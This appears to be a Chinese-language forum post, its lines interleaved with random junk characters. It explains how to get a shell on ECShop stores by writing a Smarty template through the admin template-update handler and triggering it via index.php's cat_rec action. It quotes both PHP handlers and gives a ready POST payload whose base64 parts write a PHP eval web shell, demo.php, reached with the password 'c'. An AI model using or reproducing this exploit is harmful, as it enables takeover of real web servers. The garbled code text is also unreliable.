首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
/ D! L( E9 m! F) d: {
1 {1 G" i, E3 K! S4 z% T, e而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
% q5 u: \- k; |0 z/ |! j, g但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
3 @. C7 ]4 I& T5 K! p- }admin/template.php: j) v$ M6 Q. L O' b
$ R3 Z8 }3 k4 d3 w" k1 E, `% C
1 if ($_REQUEST['act'] == 'update_library')
" S/ l3 |2 l4 T8 H: {# I2 U* s8 h' E# M5 D; ]% }& l u3 f9 A3 Y
2 ' h& V- h Q: y
$ f, N5 o, S: S- ]3 j3 { 7 a8 ~* P* G' \- B2 J4 b0 q1 r* [8 W3 O
. p; z6 m0 f/ ]+ P& S1 _$ G# |4 check_authz_json('library_manage'); . f, ]: _1 ?/ W. l
9 _% D" l0 B% b2 x# ?2 u( A$ W+ f5 U
5
8 s) y% Y( x1 t. V( w: s' K$ A) z2 j. R; ]
6 $html = stripslashes(json_str_iconv($_POST['html'])); 2 I+ c1 g5 C( ~9 e$ l; q! J( E
' G" R& {8 `# Z/ X
7
7 D Y% S' _3 n
" R2 L! n- x# q! x7 g- R8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
6 X( r! u6 k8 v( y4 V z- S% v0 o9 `$ i: ?6 `1 v' I
9 / C% i# b) c! }/ P, `
; G" l7 m8 O6 a) C10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
0 p6 }1 `0 t- {1 o' a4 p- J! ]8 k; m: ]& b+ i6 j( Q2 n
11
. V! O. E4 l% T3 c @9 N+ t( Q# Z
6 K1 T8 f3 m5 s2 X+ ~* P12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 6 i& r$ B) X8 l
' N0 ]* q" L1 j, |' N
13
E7 q& k; h( t0 i. b, ?8 ^( O( w$ N( g* E
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
' b1 V, q+ R1 h1 H( {0 U: m7 x- o0 c
15 { 2 a8 f% ^/ ?) ]) _4 _1 F1 @
8 C( _& F0 M2 N6 \$ f" x16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
, M0 [' P( a, f; ]# f% S. \3 B/ P; c
17 make_json_result('', $_LANG['update_lib_success']);
* [! ]- `# d; v6 f! O z i O, E, r
' A* P O i( Q8 B) a! G4 B18 }
. e6 H$ @- G+ d9 o5 I" h
3 d8 v) s* U7 R! v" A19 else , Y* U$ ]' Z: a( u
2 [- Z. T1 F1 E N20 { $ T! Y: ^. O5 h, E) Q! i
9 r& t3 X& V) m/ m, s
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); # Y( J' M' W; _& L
! Z. L# r: `1 {# d/ m22 }
- h' R! q7 z6 R, M" U$ x+ z5 L- Q9 o0 f0 O1 E1 h( t
23 } ; }; H% L8 J( i4 R1 \5 j, \
+ C; R) v P4 H% W& P; j; f那么找个比较方便调用了模板的文件6 `9 X) z& ~6 U
index.php/ f- @9 p- D0 r
( J+ K2 X8 M G. J1 if ($act == 'cat_rec')
; C0 C) Y- f4 E( ?3 J- X' |( w: E% T' D6 Q( P+ T7 W* X+ p. I# R
2
E* x% ]9 {. {; M; d# M
! E: _8 B, M7 o3 {
, w( O+ B. J& X- \% P( z
. H! \2 B2 {' x4
# y4 k2 E; I* B7 J- A, y8 @, f$ s7 u% d9 g4 u
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 7 B4 D0 l3 @# N* _
& _3 r1 b3 H0 q7 i1 W# x+ g* S6 ! n2 p0 L1 o5 k$ A
* G: I7 x0 k$ |8 c7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
+ ]& `. q- k* ^6 b! [! j- g; O7 ^9 q, D4 L: c$ {; P1 Q
8 2 V. X7 V! b4 V8 c
. @9 Z2 m# ~' J' ~
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
& h* }# ]$ P' N' o& |
) I8 E: I/ J; ?10 . P; W" p: U3 b& U( i
) _" C+ ~4 A# d: ~# d' m9 f" o11 include_once('includes/cls_json.php'); R) E1 N& X; R: K4 W2 ]
; {6 Y/ G ~9 C$ N+ ~12
1 J: L/ `6 N" g: z( g0 H6 {! [) x) E9 o; D9 ?
13 $json = new JSON;
3 w' }; m# D9 k" _! e; Y% K. K) y! h2 `* X' [' R
14
( U3 A1 c* D* P& t/ Y, w
6 ?$ W4 M6 |; ]. `' l- I15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ; D% S$ @6 H& K; l7 ]
3 T7 ?& ~- k+ }
16 2 e8 h$ R A6 ?) z5 L4 x
! J1 n$ M" C+ i, e _# k
17 $children = get_children($cat_id);
" [. P* D3 y& D' T# j; @. X6 t
: E# q% H, O* J. q) o! }18
, N' r( p: y( v+ S- u" N
- J: U9 S3 n3 u( [0 c19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 ; z4 r- I8 V( @* r" E" |
: A! o8 f7 A4 k3 X) j S20
# L" M/ @2 x. K( P8 o' Y3 B6 d% r9 f& j. j, S
21 $smarty->assign('cat_rec_sign', 1); # g8 p* j; R9 U4 f4 q- w
# T. v* s ?/ C A+ [* W
22
: {6 m& B' q0 @. G& [; ^$ E1 a! m* G# r! }
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
~% H; |# x: S E1 O& C
) c2 ?: g6 f6 M) N+ i8 }) b24
0 l3 G1 A/ Z1 o
. s0 o9 J, V' Z) ^7 |. g25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 7 l) w$ `7 K/ @' T) u
) {" r3 O# c3 B5 M
26
" n2 q9 z5 d% r% T
% w% ~0 J( X4 u* X. R27 echo $rec_array[$rec_type]; , f4 U* a" P9 D/ z) C7 ?' @
4 u8 L% y1 _* u6 x" b( x1 w* J/ u
28 8 \1 B# N7 @( s* A
- p3 o) D+ a* ]; p2 O29 die($json->encode($result));
) O1 S8 R$ q6 n H" i7 S9 v# t7 i
. l& C2 H* K3 S30
" G$ e: `! Z: N9 P$ U/ |3 @. ~
1 j! k' _1 \* W- s5 w31 }
% _9 a( f* J8 C$ x, D1 j i; `$ L1 ]( a
那么就有利用方法了 @4 T0 R: K& C9 v, N( p% h
post包到http://localhost/ec/admin/template.php?act=update_library6 g3 Q6 W- u0 N" Z5 P* g
Post内容:
. F- d( l- f+ D- T1 y, M7 `
* c$ z" |4 r/ J6 }1 x( L6 g0 b+ ]* W1 D+ \3 Q6 I8 A
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
9 I7 g& A) e" C4 q
" O' \5 F9 j, m5 ]然后访问http://localhost/ec/index.php?act=cat_rec
E8 ~0 x( j7 d) ~$ k8 C* p2 d
3 M7 m! L6 G3 l: X# F) Ishel地址:http://localhost/ec/demo.php
% V6 x; Q; i% x& [& \% L; w8 `1 R密码c
/ h* i9 ?% `, J0 H2 m& J9 D& P/ O- p6 r$ }* B+ M% X
|